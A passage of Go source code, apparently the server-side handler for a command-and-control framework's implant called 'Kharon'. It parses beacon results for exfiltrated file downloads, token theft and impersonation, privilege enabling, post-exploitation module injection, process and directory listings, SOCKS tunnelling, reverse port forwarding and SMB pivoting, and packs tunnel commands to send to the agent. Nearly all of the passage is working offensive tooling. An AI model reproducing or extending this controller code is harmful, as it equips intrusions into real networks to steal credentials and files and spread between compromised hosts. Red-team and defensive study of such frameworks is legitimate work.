CreatePacker(payload) if false == inner.CheckPacker([]string{"array", "array"}) { return outTasks } filename := ConvertCpToUTF8(inner.ParseString(), agentData.ACP) data := inner.ParseBytes() fileId := fmt.Sprintf("%08x", rand.Uint32()) addErr := ts.TsDownloadAdd(agentData.Id, fileId, filename, int64(len(data))) updErr := ts.TsDownloadUpdate(fileId, 1, data) clsErr := ts.TsDownloadClose(fileId, 3) if addErr != nil || updErr != nil || clsErr != nil { fmt.Printf("DownloadAdd/Update/Close failed: add=%v update=%v close=%v\n", addErr, updErr, clsErr) _ = ts.TsDownloadSave(agentData.Id, fileId, filename, data) } task.MessageType = MESSAGE_SUCCESS task.Message = "BOF download" task.ClearText = fmt.Sprintf("Saved %s (%d bytes)", filename, len(data)) case CALLBACK_INFO: task.MessageType = MESSAGE_INFO task.Message = packer.ParseString() default: output := packer.ParseString() task.MessageType = MESSAGE_SUCCESS task.ClearText = ConvertCpToUTF8(output, agentData.ACP) } task.Completed = false outTasks = append(outTasks, task) } else if dataType == uint(PROFILE_WEB) || dataType == uint(PROFILE_SMB) { // web || smb if false == packer.CheckPacker([]string{"array"}) { return outTasks } innerBytes := packer.ParseBytes() cmd_packer := CreatePacker(innerBytes) if cmd_packer.CheckPacker([]string{"array", "word"}) { TaskUID := cmd_packer.ParseString() if len(TaskUID) < 8 { continue } task := taskData task.TaskId = TaskUID[:8] commandId := int16(cmd_packer.ParseInt16()) switch commandId { case TASK_JOB: jobCount := cmd_packer.ParseInt32() if jobCount > 0 { for i := 0; i < int(jobCount); i++ { jobUUID := cmd_packer.ParseString() jobCmdId := cmd_packer.ParseInt32() jobState := cmd_packer.ParseInt32() if i == 0 { // Header format := "%-36s %-12s %-10s" OutputText := fmt.Sprintf(format, "Job UUID", "Command ID", "State") OutputText += fmt.Sprintf("\n"+format, strings.Repeat("-", 36), strings.Repeat("-", 12), strings.Repeat("-", 10)) task.ClearText = OutputText + "\n" } // Job line stateStr := "Unknown" switch jobState { case 0: stateStr = "Running" case 1: stateStr = "Completed" case 2: stateStr = "Failed" } format := "%-36s %-12d %-10s" task.ClearText += fmt.Sprintf(format, jobUUID, jobCmdId, stateStr) + "\n" } } else { task.ClearText = "No jobs running" } case TASK_EXIT: task.Message = "The agent has completed its work" _ = ts.TsAgentTerminate(agentData.Id, task.TaskId) case TASK_UPLOAD: // testjar := cmd_packer.ParseString() task.Message = "Initiated File Upload\n" case TASK_DOWNLOAD: file_id := cmd_packer.ParseString() status_code := cmd_packer.ParseInt32() if status_code != 0 { reason := cmd_packer.ParseString() task.Message = fmt.Sprintf("Download failed with error [%d]: %s", status_code, reason) task.MessageType = MESSAGE_ERROR continue } file_size := cmd_packer.ParseInt64() file_path := cmd_packer.ParseString() // file_bytes := cmd_packer.ParseBytes() _ = ts.TsDownloadAdd(agentData.Id, file_id, file_path, int64(file_size)) // _ = ts.TsDownloadUpdate(file_id, 1, file_bytes) // if params.Canceled { // task.Message = fmt.Sprintf("Download '%v' successful canceled", fileId) // _ = ts.TsDownloadClose(fileId, 4) // } else { // _ = ts.TsDownloadClose(file_id, 3) // } task.Message = "Initiated File Download\n" task.Message += fmt.Sprintf("File ID: %s, File Path: '%s' download initiated, size: %d bytes", file_id, file_path, file_size) case TASK_PROCESS_DOWNLOAD: fmt.Printf("Processing TASK_PROCESS_DOWNLOAD results") event_num := cmd_packer.ParseInt32() fmt.Printf("Processing %d download events\n", event_num) for i := 0; i < int(event_num); i++ { file_id := cmd_packer.ParseString() status_code := cmd_packer.ParseInt32() fmt.Printf("Processing download event for file ID: %s, status_code: %d\n", file_id, status_code) if status_code != 0 { reason := cmd_packer.ParseString() task.Message += fmt.Sprintf("Download failed with error [%d]: %s\n", status_code, reason) task.MessageType = MESSAGE_ERROR fmt.Printf("Deleting fileID: %d\n", file_id) ts.TsDownloadDelete([]string{file_id}) continue } file_size := cmd_packer.ParseInt32() file_bytes := cmd_packer.ParseBytes() cur_chunk := cmd_packer.ParseInt32() total_chunks := cmd_packer.ParseInt32() if cur_chunk == total_chunks { fmt.Printf("Processing TASK_PROCESS_DOWNLOAD results - Last Chunk") _ = ts.TsDownloadUpdate(file_id, 1, file_bytes) _ = ts.TsDownloadClose(file_id, 3) task.Message += fmt.Sprintf("File '%s' download completed, size: %d bytes\n", file_id, file_size) } else { _ = ts.TsDownloadUpdate(file_id, 1, file_bytes) task.Message += fmt.Sprintf("File '%s', Chunk: %d/%d download completed, size: %d bytes\n", file_id, cur_chunk, total_chunks, file_size) } } case TASK_TOKEN: if cmd_packer.CheckPacker([]string{"byte"}) { subCommandId := int(cmd_packer.ParseInt8()) switch subCommandId { case TOKEN_GET_UUID: if cmd_packer.CheckPacker([]string{"array"}) { task.Message = ConvertCpToUTF8(cmd_packer.ParseString(), agentData.ACP) } break case TOKEN_STEAL: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Token could not be stolen" } else { if cmd_packer.CheckPacker([]string{"int", "int", "array", "array", "long"}) { tokenId := cmd_packer.ParseInt32() pid := cmd_packer.ParseInt32() user := cmd_packer.ParseString() host := cmd_packer.ParseString() handle := cmd_packer.ParseInt64() task.Message = fmt.Sprintf("Token %v (handle %v) from process [%v] in host [%v] successfully stolen: %v", tokenId, handle, pid, host, user) } } } case TOKEN_USE: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Token could not be used" } else { task.Message = "Token successfully used" } } case TOKEN_RM: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Token could not be removed" } else { task.Message = "Token successfully removed" } } break case TOKEN_REVERT: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Token could not be reverted" } else { task.Message = "Token successfully reverted" } } break case TOKEN_MAKE: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Token could not be created" } else { task.Message = "Token successfully created" } } case TOKEN_LIST: var list string list += fmt.Sprintf("\n%-12s %-35s %-25s %-18s %-12s\n", "Token ID", "User", "Host", "Handle", "Process ID") list += fmt.Sprintf("%s\n", strings.Repeat("-", 120)) for cmd_packer.Size() > 0 { user := cmd_packer.ParseString() host := cmd_packer.ParseString() tkn_id := cmd_packer.ParseInt32() handle := cmd_packer.ParseInt64() ps_id := cmd_packer.ParseInt32() list += fmt.Sprintf("%-12d %-35s %-25s 0x%-16X %-12d\n", tkn_id, user, host, handle, ps_id) } if list == "" { task.Message = "No tokens found" } else { task.ClearText = list } case TOKEN_PRIV_GET: if cmd_packer.CheckPacker([]string{"int"}) { result := cmd_packer.ParseInt32() if result == 0 { task.Message = "Privileges could not be enabled" } else { task.Message = "Provileges successfully enabled" } } case TOKEN_PRIV_LIST: if cmd_packer.CheckPacker([]string{"int"}) { count := cmd_packer.ParseInt32() priv_len := 10 type privelege struct { name string attr string } var privs []privelege for i := 0; i < int(count); i++ { if cmd_packer.CheckPacker([]string{"array", "int"}) { priv := privelege{ name: ConvertCpToUTF8(cmd_packer.ParseString(), agentData.ACP), } status := cmd_packer.ParseInt32() if status == 0 { priv.attr = "Disabled" } else { priv.attr = "Enabled" } if len(priv.name) > priv_len { priv_len = len(priv.name) } privs = append(privs, priv) } } if len(privs) == 0 { task.Message = "Privileges not found" } else { task.Message = "Privileges:\n" for _, priv := range privs { format := fmt.Sprintf("%%-%vv %%v\n", priv_len) task.ClearText += fmt.Sprintf(format, priv.name, priv.attr) } } } default: continue } } break case TASK_POSTEX: postex_action := cmd_packer.ParseInt32() fmt.Printf("task postex ") fmt.Printf("action: %d\n", postex_action) switch postex_action { case POSTEX_ACTION_INJECT: success := cmd_packer.ParseInt32() if success == 1 { kharon_cfg.PostexHandler.PostexLoaded = true } agentData.CustomData, _ = kharon_cfg.Marshal() ts.TsAgentUpdateData(agentData) task.Completed = false ts.TsAgentConsoleOutput(task.AgentId, MESSAGE_SUCCESS, "Postex module successfully injected", "", false) ts.TsAgentConsoleOutput(task.AgentId, MESSAGE_SUCCESS, "Kharon will try to read during the next check-in", "", false) case POSTEX_ACTION_POLL: postex_msg := cmd_packer.ParseInt32() switch postex_msg { case POSTEX_MSG_OUTPUT: is_exit := cmd_packer.ParseInt32() exit_code := cmd_packer.ParseInt32() output := cmd_packer.ParseBytes() task.MessageType = MESSAGE_SUCCESS task.ClearText = ConvertCpToUTF8(string(output), agentData.ACP) if is_exit == 1 { task.Completed = true task.Message = fmt.Sprintf("Process exited with code %d (%d bytes)", exit_code, len(output)) } else { task.Completed = false task.Message = fmt.Sprintf("Received %d bytes", len(output)) } case POSTEX_MSG_END: exit_code := cmd_packer.ParseInt32() task.Message = fmt.Sprintf("Process terminated (exit: %d)", exit_code) task.MessageType = MESSAGE_SUCCESS task.Completed = true case POSTEX_MSG_RAW: output := cmd_packer.ParseBytes() task.Message = fmt.Sprintf("Raw output: %d bytes", len(output)) task.ClearText = ConvertCpToUTF8(string(output), agentData.ACP) task.Completed = true default: task.Completed = false } } case TASK_EXEC_BOF: cmd_id := cmd_packer.ParseInt32() if cmd_id != 0 { switch int(cmd_id) { case FS_LIST: if !cmd_packer.CheckPacker([]string{"array"}) { break } root_path := ConvertWCharBytesToUTF8(cmd_packer.ParseBytes()) type ls_data struct { filename string size uint attrib uint dir bool createDate string accessDate string writeDate string } var data_directory []ls_data var data_files []ls_data for cmd_packer.CheckPacker([]string{ "array", "int", "int", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word", "word"}) { filename := ConvertWCharBytesToUTF8(cmd_packer.ParseBytes()) ls_item := ls_data{ filename: filename, size: cmd_packer.ParseInt32(), attrib: cmd_packer.ParseInt32(), dir: false, createDate: fmt.Sprintf("%02d/%02d/%d %02d:%02d:%02d", cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16()), accessDate: fmt.Sprintf("%02d/%02d/%d %02d:%02d:%02d", cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16()), writeDate: fmt.Sprintf("%02d/%02d/%d %02d:%02d:%02d", cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16(), cmd_packer.ParseInt16()), } if ls_item.filename != "." && ls_item.filename != ".." { if (ls_item.attrib & 0x10) != 0 { ls_item.dir = true data_directory = append(data_directory, ls_item) } else { data_files = append(data_files, ls_item) } } } data_full := append(data_directory, data_files...) var ui_items []ax.ListingFileDataWin if len(data_full) == 0 { task.Message = fmt.Sprintf("The '%s' directory is EMPTY", root_path) task.MessageType = MESSAGE_INFO } else { OutputText := fmt.Sprintf(" %-8s %-14s %-23s %-23s %-23s %s\n", "Type", "Size", "Created", "Last Access", "Last Modified", "Name") OutputText += fmt.Sprintf(" %-8s %-14s %-23s %-23s %-23s %s", "----", "---------", "-------------------", "-------------------", "-------------------", "----") for _, item := range data_full { if item.dir { OutputText += fmt.Sprintf("\n %-8s %-14s %-23s %-23s %-23s %s", "dir", "", item.createDate, item.accessDate, item.writeDate, item.filename) } else { OutputText += fmt.Sprintf("\n %-8s %-14s %-23s %-23s %-23s %s", "", SizeBytesToFormat(int64(item.size)), item.createDate, item.accessDate, item.writeDate, item.filename) } t, _ := time.Parse("01/02/2006 15:04:05", item.writeDate) fileData := ax.ListingFileDataWin{ IsDir: item.dir, Size: int64(item.size), Date: t.Unix(), Filename: item.filename, } ui_items = append(ui_items, fileData) } task.Message = fmt.Sprintf("List of files in the '%s' directory", root_path) task.ClearText = OutputText task.MessageType = MESSAGE_SUCCESS } SyncBrowserFiles(ts, task, root_path, ui_items) case PROC_LIST: type ps_data struct { imagename string pid uint ppid uint sessionid uint user string arch string } var ps_data_list []ps_data for cmd_packer.CheckPacker([]string{"array", "int", "int", "int", "array", "int"}) { ps_item := ps_data{ imagename: ConvertCpToUTF8(ConvertWCharBytesToString(cmd_packer.ParseBytes()), agentData.ACP), pid: cmd_packer.ParseInt32(), ppid: cmd_packer.ParseInt32(), sessionid: cmd_packer.ParseInt32(), user: ConvertCpToUTF8(ConvertWCharBytesToString(cmd_packer.ParseBytes()), agentData.ACP), } isx64 := cmd_packer.ParseInt32() if isx64 == 0 { ps_item.arch = "x64" } else { ps_item.arch = "x86" } ps_data_list = append(ps_data_list, ps_item) fmt.Printf("") } var proclist []ax.ListingProcessDataWin if len(ps_data_list) > 0 { ctx_max_size := 10 ps_max_size := 20 for _, item := range ps_data_list { proc_data := ax.ListingProcessDataWin{ Pid: item.pid, Ppid: item.ppid, SessionId: item.sessionid, ProcessName: item.imagename, Arch: item.arch, } if item.user != "N\\A" { proc_data.Context = item.user if len(proc_data.Context) > ctx_max_size { ctx_max_size = len(proc_data.Context) } } if len(proc_data.ProcessName) > ps_max_size { ps_max_size = len(proc_data.ProcessName) } proclist = append(proclist, proc_data) } type TreeProc struct { Data ps_data Children []*TreeProc } procMap := make(map[uint]*TreeProc) var roots []*TreeProc for _, proc := range ps_data_list { node := &TreeProc{Data: proc} procMap[proc.pid] = node } for _, node := range procMap { if node.Data.ppid == 0 || node.Data.pid == node.Data.ppid { roots = append(roots, node) } else if parent, ok := procMap[node.Data.ppid]; ok { parent.Children = append(parent.Children, node) } else { roots = append(roots, node) } } sort.Slice(roots, func(i, j int) bool { return roots[i].Data.pid < roots[j].Data.pid }) var sortChildren func(node *TreeProc) sortChildren = func(node *TreeProc) { sort.Slice(node.Children, func(i, j int) bool { return node.Children[i].Data.pid < node.Children[j].Data.pid }) for _, child := range node.Children { sortChildren(child) } } for _, root := range roots { sortChildren(root) } format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", ctx_max_size) OutputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process") OutputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------") var lines []string var formatTree func(node *TreeProc, prefix string, isLast bool) formatTree = func(node *TreeProc, prefix string, isLast bool) { branch := "├─ " if isLast { branch = "└─ " } treePrefix := prefix + branch data := node.Data line := fmt.Sprintf(format, data.pid, data.ppid, data.sessionid, data.arch, data.user, treePrefix+data.imagename) lines = append(lines, line) childPrefix := prefix if isLast { childPrefix += " " } else { childPrefix += "│ " } for i, child := range node.Children { formatTree(child, childPrefix, i == len(node.Children)-1) } } for i, root := range roots { formatTree(root, "", i == len(roots)-1) } OutputText += "\n" + strings.Join(lines, "\n") fmt.Printf("output text:\n%s", OutputText) task.Message = "Process list:" task.ClearText = OutputText task.Completed = true } SyncBrowserProcess(ts, task, proclist) case PROC_RUN: if cmd_packer.CheckPacker([]string{"int", "int"}) { pid := cmd_packer.ParseInt32() tid := cmd_packer.ParseInt32() task.Message = fmt.Sprintf("Process created with pid %d and tid %d\n", pid, tid) if cmd_packer.CheckPacker([]string{"array"}) { ps_output := ConvertCpToUTF8(string(cmd_packer.ParseBytes()), agentData.ACP) fmt.Println(hex.Dump([]byte(ps_output))) task.ClearText = ps_output } } case TASK_CONFIG: { exit_code := uint(0) if cmd_packer.CheckPacker([]string{"int"}) { exit_code = cmd_packer.ParseInt32() } task.MessageType = MESSAGE_SUCCESS if exit_code == 0 { ts.TsAgentConsoleOutput(task.AgentId, MESSAGE_SUCCESS, "Config ended with success", "", false) } else { ts.TsAgentConsoleOutput(task.AgentId, MESSAGE_SUCCESS, fmt.Sprintf("Config ended with error: %s", win32ErrorCodes[exit_code]), "", false) } task.Completed = true } // case DOTNET_INLINE: // case DOTNET_FORK: // case REFLECT_INLINE: // case REFLECT_FORK: } } task.Completed = true case TASK_SOCKS: channelID := cmd_packer.ParseInt64() subCmd := cmd_packer.ParseInt64() result := cmd_packer.ParseInt16() fmt.Printf("Task_Socks - Recieved Data: channelID:%d, subCmd:%d, result: %d\n", channelID, subCmd, result) if channelID != 0 { if subCmd == COMMAND_TUNNEL_START_TCP { if result == 0 { ts.TsTunnelConnectionClose(int(channelID), false) } else { ts.TsTunnelConnectionResume(agentData.Id, int(channelID), false) } } } case TASK_PROCESS_TUNNEL: numEvents_COMMAND_TUNNEL_ACCEPT := cmd_packer.ParseInt32() if numEvents_COMMAND_TUNNEL_ACCEPT > 0 { fmt.Printf(" TASK_PROCESS_TUNNEL - numEvents_COMMAND_TUNNEL_ACCEPT: %d\n", numEvents_COMMAND_TUNNEL_ACCEPT) } for i := 0; i < int(numEvents_COMMAND_TUNNEL_ACCEPT); i++ { tunnelID := cmd_packer.ParseInt32() subCmd := cmd_packer.ParseInt32() fmt.Printf("Recieved Data: tunnelID:%d, subCmd:%d\n", tunnelID, subCmd) if tunnelID != 0 { if subCmd == COMMAND_TUNNEL_ACCEPT { revChannelID := cmd_packer.ParseInt32() fmt.Printf("Recieved Data: tunnelID:%d, revChannelID:%d\n", tunnelID, revChannelID) ts.TsTunnelConnectionAccept(int(tunnelID), int(revChannelID)) } } } numEvents_COMMAND_TUNNEL_START_TCP := cmd_packer.ParseInt32() if numEvents_COMMAND_TUNNEL_START_TCP > 0 { fmt.Printf(" TASK_PROCESS_TUNNEL - numEvents_COMMAND_TUNNEL_START_TCP: %d\n", numEvents_COMMAND_TUNNEL_START_TCP) } for i := 0; i < int(numEvents_COMMAND_TUNNEL_START_TCP); i++ { channelID := cmd_packer.ParseInt32() subCmd := cmd_packer.ParseInt32() fmt.Printf("Recieved Data: channelID:%d, subCmd:%d\n", channelID, subCmd) if channelID != 0 { if subCmd == COMMAND_TUNNEL_START_TCP { result := cmd_packer.ParseInt32() if result == 0 { ts.TsTunnelConnectionClose(int(channelID), false) } else { ts.TsTunnelConnectionResume(agentData.Id, int(channelID), false) } } } } numEvents_COMMAND_TUNNEL_WRITE_TCP := cmd_packer.ParseInt32() if numEvents_COMMAND_TUNNEL_WRITE_TCP > 0 { fmt.Printf("numEvents_COMMAND_TUNNEL_WRITE_TCP: %d\n", numEvents_COMMAND_TUNNEL_WRITE_TCP) } for i := 0; i < int(numEvents_COMMAND_TUNNEL_WRITE_TCP); i++ { channelID := cmd_packer.ParseInt32() subCmd := cmd_packer.ParseInt32() fmt.Printf("Recieved Data: channelID:%d, subCmd:%d\n", int(channelID), subCmd) if channelID != 0 { if subCmd == COMMAND_TUNNEL_WRITE_TCP { data := cmd_packer.ParseBytes() datalen := cmd_packer.ParseInt32() fmt.Printf("COMMAND_TUNNEL_WRITE_TCP: DATA LEN: %d\n", datalen) ts.TsTunnelConnectionData(int(channelID), data) } } } case TASK_RPORTFWD: var err error channelID := cmd_packer.ParseInt64() subCmd := cmd_packer.ParseInt64() result := cmd_packer.ParseInt16() fmt.Printf("TASK_RPORTFWD - Recieved Data: channelID:%d, subCmd:%d, result: %d\n", channelID, subCmd, result) if channelID != 0 { if subCmd == COMMAND_TUNNEL_REVERSE { if result == 0 { task.TaskId, task.Message, err = ts.TsTunnelUpdateRportfwd(int(channelID), false) } else { task.TaskId, task.Message, err = ts.TsTunnelUpdateRportfwd(int(channelID), true) } if err != nil { task.MessageType = MESSAGE_ERROR } else { task.MessageType = MESSAGE_SUCCESS } } } case TASK_PIVOT: if cmd_packer.CheckPacker([]string{"byte"}) { pivotSubCmd := int(cmd_packer.ParseInt8()) switch pivotSubCmd { case 10: // Action::Pivot::Link if cmd_packer.CheckPacker([]string{"int", "array"}) { watermark := fmt.Sprintf("%08x", cmd_packer.ParseInt32()) childData := cmd_packer.ParseBytes() if len(childData) > 0 { childAgentId, err := ts.TsListenerInteralHandler(watermark, childData) if err != nil { task.Message = fmt.Sprintf("Link failed: %v", err) task.MessageType = MESSAGE_ERROR } else { // Store mapping: serverAgentId → original UUID prefix from checkin blob. // The beacon identifies children by SmbUUID (first 8 chars of checkin UUID), // but CreateAgent assigns a random agent ID. Exchange needs the original. if len(childData) >= 8 { PivotUUIDMap[childAgentId] = string(childData[:8]) } actualParent := agentData.Id if owner, ok := TaskOwnerMap[task.TaskId]; ok { actualParent = owner delete(TaskOwnerMap, task.TaskId) } err = ts.TsPivotCreate(task.TaskId, actualParent, childAgentId, "", false) _ = err task.Message = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] -----", actualParent, childAgentId) task.MessageType = MESSAGE_SUCCESS } } } case 11: // Action::Pivot::Unlink task.Message = "Child unlinked" task.MessageType = MESSAGE_SUCCESS case 20: // Action::Pivot::Exchange — child response relayed by parent if cmd_packer.CheckPacker([]string{"int", "array"}) { _ = cmd_packer.ParseInt32() // profileType childResp := cmd_packer.ParseBytes() if len(childResp) > 0 { // childResp is encrypted PostJobs from the child beacon. // Use InternalHandler which decrypts with the child's stored key. _, _ = ts.TsListenerInteralHandler("c17a905a", childResp) } } } } case TASK_ERROR: if cmd_packer.CheckPacker([]string{"int"}) { errorCode := cmd_packer.ParseInt32() // errorMessage := cmd_packer.ParseString() task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, win32ErrorCodes[errorCode]) task.MessageType = MESSAGE_ERROR } break default: continue } outTasks = append(outTasks, task) } } } /// END CODE return outTasks } /// TUNNELS func TunnelCreateTCP(channelId int, address string, port int) ([]byte, error) { protocol := "tcp" startFlag := 0 array := []interface{}{TASK_SOCKS, int(startFlag), protocol, int(channelId), address, int(port)} fmt.Printf("TunnelCreateTCP\n") packedData, err := PackArray(array) if err != nil { goto RET } RET: return packedData, err // return nil, errors.New("Function TCP Tunnel not supported") } func TunnelCreateUDP(channelId int, address string, port int) ([]byte, error) { return nil, errors.New("Function UDP Tunnel not supported") } func TunnelWriteTCP(channelId int, data []byte) ([]byte, error) { protocol := "tcp" startFlag := 1 lenBytes := make([]byte, 4) binary.LittleEndian.PutUint32(lenBytes, uint32(len(data))) result := append(lenBytes, data...) array := []interface{}{TASK_SOCKS, int(startFlag), protocol, int(channelId), int(len(data)), result} fmt.Printf("TunnelWriteTCP\n") packedData, err := PackArray(array) if err != nil { goto RET } RET: return packedData, err } func TunnelWriteUDP(channelId int, data []byte) ([]byte, error) { return nil, errors.New("Function UDP Tunnel not supported") } func TunnelClose(channelId int) ([]byte, error) { startFlag := 2 array := []interface{}{TASK_SOCKS, int(startFlag), int(channelId)} fmt.Printf("TunnelClose\n") packedData, err := PackArray(array) if err != nil { goto RET } RET: return packedData, err } func TunnelReverse(tunnelId int, port int) ([]byte, error) { array := []interface{}{TASK_RPORTFWD, int(tunnelId), int(port)} fmt.Printf("TunnelReverse\n") packedData, err := PackArray(array) if err != nil { goto RET } RET: return packedData, err // return nil, errors.New("Function TCP Tunnel not supported") } /// TERMINAL func TerminalStart(terminalId int, program string, sizeH int, sizeW int) ([]byte, error) { return nil, errors.New("Function Remote Terminal not supported") } func TerminalWrite(terminalId int, data []byte) ([]byte, error) { return nil, errors.New("Function Remote Terminal not supported") } func TerminalClose(terminalId int) ([]byte, error) { return nil, errors.New("Function Remote Terminal not supported") }